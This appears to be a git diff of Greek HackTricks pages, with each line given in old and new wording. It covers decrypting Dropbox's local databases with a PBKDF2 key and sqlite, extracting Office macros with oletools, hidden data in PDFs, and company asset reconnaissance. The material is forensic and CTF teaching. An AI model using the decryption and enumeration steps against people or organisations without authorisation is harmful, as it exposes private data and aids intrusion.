Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **ανακτήσετε τον αρχικό**. Για να ανακτήσετε τον αρχικό, απλά χρησιμοποιήστε αυτό το [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) βάζοντας το κύριο κλειδί ως "passphrase" μέσα στο receipt.
Το αποτέλεσμα σε hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων τα οποία μπορούν να αποκρυπτογραφηθούν με:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@ -70,11 +94,11 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
* **Email**: Το email του χρήστη
* **usernamedisplayname**: Το όνομα του χρήστη
* **dropbox\_path**: Η διαδρομή όπου βρίσκεται ο φάκελος του Dropbox
* **Host\_id: Hash**: Χρησιμοποιείται για την πιστοποίηση στο cloud. Μπορεί να ανακληθεί μόνο από τον ιστό.
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος του Dropbox
* **Host\_id: Hash** που χρησιμοποιείται για την ταυτοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το web.
* **Root\_ns**: Αναγνωριστικό χρήστη
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις περισσότερες χρήσιμες πληροφορίες:
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός που περιέχει τις περισσότερες χρήσιμες πληροφορίες:
* **Server\_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
* **local\_sjid**: Έκδοση του αρχείου
@ -89,24 +113,24 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
* **deleted\_fields**: Διαγραμμένα αρχεία του Dropbox
* **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -1,60 +1,58 @@
# Ανάλυση αρχείων Office
# Ανάλυση αρχείων γραφείου
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Για περαιτέρω πληροφορίες ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς ένα σύνοψη:
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι τα **μορφότυπα OLE** (όπως RTF, DOC, XLS, PPT) και τα **μορφότυπα Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτά τα μορφότυπα μπορούν να περιλαμβάνουν μακρότυπα, καθιστώντας τα στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή του αρχείου και του φακέλου και τα περιεχόμενα του αρχείου XML.
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι οι **μορφές OLE** (όπως RTF, DOC, XLS, PPT) και οι **μορφές Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτές οι μορφές μπορούν να περιλαμβάνουν μακρός, καθιστώντας τα στόχους για φισινγκ και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας την ιεραρχία αρχείων και φακέλων και το περιεχόμενο των αρχείων XML.
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την κρυψοκάλυψη δεδομένων σε αυτά τα αρχεία, υποδεικνύοντας συνεχή καινοτομία στην κρυψοκάλυψη δεδομένων στις προκλήσεις CTF.
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία, που υποδεικνύουν συνεχή καινοτομία στην κρυπτογράφηση δεδομένων μέσα σε προκλήσεις CTF.
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν πλήρεις συλλογές εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, κατά κανόνα λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακροεντολών VBA μπορεί να πραγματοποιηθεί χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και μεταβλητές παρακολούθησης.
Για την ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα εργαλεία για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στον εντοπισμό και την ανάλυση ενσωματωμένων μακρό, τα οποία συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, συνήθως λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακρό VBA μπορεί να γίνει χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει τον εντοπισμό σφαλμάτων με διακοπές και παρακολούθηση μεταβλητών.
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με παρεχόμενες εντολές για την εγκατάσταση μέσω του pip και την εξαγωγή μακρό από εγγράφα. Η αυτόματη εκτέλεση των μακρό ενεργοποιείται από λειτουργίες όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από εγγράφα. Η αυτόματη εκτέλεση μακροεντολών ενεργοποιείται από λειτουργίες όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>

View file

@ -1,48 +1,52 @@
# Ανάλυση αρχείων PDF
# Ανάλυση αρχείου PDF
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Για περισσότερες λεπτομέρειες δείτε: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, καθιστώντας την ένα εστίασμα για προκλήσεις ανάκτησης αποδεικτικών στοιχείων CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως η JavaScript ή η Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο εισαγωγικό υλικό του Didier Stevens [εδώ](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, κάτι που την καθιστά εστίαση για προκλήσεις ψηφιακής ανάλυσης στον τομέα των CTF. Συνδυάζει στοιχεία κειμένου με δυαδικά αντικείμενα, τα οποία ενδέχεται να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως η JavaScript ή το Flash. Για να κατανοήσετε τη δομή των PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
Για λεπτομερή εξερεύνηση ή επεξεργασία των PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Κρυμμένα δεδομένα μέσα σε PDF μπορεί να κρύβονται σε:
Για εμβάθυνση ή επεξεργασία PDF, υπάρχουν διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε:
* Αόρατα επίπεδα
* Μορφή μεταδεδομένων XMP από την Adobe
* Επιτελεστικές γενιές
* Επιμέρους γενιές
* Κείμενο με τον ίδιο χρωματισμό με το φόντο
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
* Μη εμφανιζόμενα σχόλια
* Σχόλια που δεν εμφανίζονται
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλη που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα αντίμετρα του PDF, αν και δεν φιλοξενείται πλέον στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση για το θέμα.
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, το δυναμικό των PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλο που πηγές όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα ασφαλείας στα PDF, αν και πλέον δεν φιλοξενείται στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση επί του θέματος.
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλ
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

File diff suppressed because it is too large Load diff

View file

@ -14,22 +14,22 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχακάρετο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
## Ανακαλύψεις Περιουσιών
## Ανακαλύψεις Περιουσιακών Στοιχείων
> Σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία εμπίπτουν στο πεδίο εφαρμογής και θέλετε να διαπιστώσετε πραγματικά τι ανήκει σε αυτήν την εταιρεία.
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλες τις **περιουσίες** αυτών των εταιρειών. Για να το επιτύχουμε, θα προχωρήσουμε στα εξής:
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το επιτύχουμε, θα προχωρήσουμε στα εξής:
1. Βρείτε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρείτε το ASN (εάν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις IP εύρους που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήστε αναστρεφόμενες αναζητήσεις whois για να αναζητήσετε άλλες καταχωρήσεις (ονόματα οργανισμών, domains...) που σχετίζονται με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήστε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσετε άλλες περιουσίες (η τεχνική με το `ssl` μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήστε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσετε άλλα περιουσιακά στοιχεία (η τεχνική με το `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
@ -37,12 +37,12 @@
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **αναζητήστε** την **κύρια εταιρεία** και **κάντε κλικ** στο "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που έχουν εξαγοραστεί από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
